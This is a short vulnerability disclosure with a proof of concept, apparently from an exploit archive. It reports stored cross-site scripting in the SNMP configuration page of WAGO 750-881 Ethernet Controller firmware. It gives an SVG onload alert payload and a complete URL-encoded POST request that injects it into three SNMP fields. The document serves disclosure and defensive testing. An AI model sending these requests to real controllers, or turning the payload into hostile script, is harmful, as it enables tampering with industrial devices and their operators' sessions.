WAGO 750-881 01.09.18 Cross Site Scripting

`# Exploit Title: WAGO 750-881 01.09.18 - Cross-Site Scripting  
# Date: 2018-08-30  
# Exploit Author: SecuNinja (@secuninja)  
# Vendor Homepage: wago.com  
# Version: 01.09.18(13) and earlier  
# Affected Products: Ethernet Controller 750-881 - 01.09.18(13), 01.08.01 (10)  
# CVE : N/A  
  
# Description  
# WAGO 750-881 Ethernet Controller devices, versions 01.09.18(13) and before,   
# have XSS in the SNMP configuration via the webserv/cplcfg/snmp.ssi  
# SNMP_DESC or SNMP_LOC_SNMP_CONT field.  
  
# PoC  
# http://ip.address/webserv/cplcfg/snmp.ssi FORM fields SNMP_DESC, SNMP_LOC_SNMP_CONT  
# Exploit String "<svg/onload=alert(1)>  
# http-post-data:  
SNMP_DESC=%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E&SNMP_LOC%22%3E%3Csvg%2Fonload%3Dalert%282%29%3E&SNMP_CONT=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&SNMP_V1V2_ENABLE=SNMP_V1V2_ENABLE&SNMP1_LCOM_NAME=public&SNMP_TR_V1V2_1_IP=0.0.0.0&SNMP1_COM_NAME=public&SNMP_V1V2_TR1_VERSION=SNMP_V1V2_TR1_VERSION1&SNMP_TR_V1V2_2_IP=0.0.0.0&SNMP2_COM_NAME=public&SNMP_V1V2_TR2_VERSION=SNMP_V1V2_TR2_VERSION1&SUBMIT=SUBMIT  
  
  
`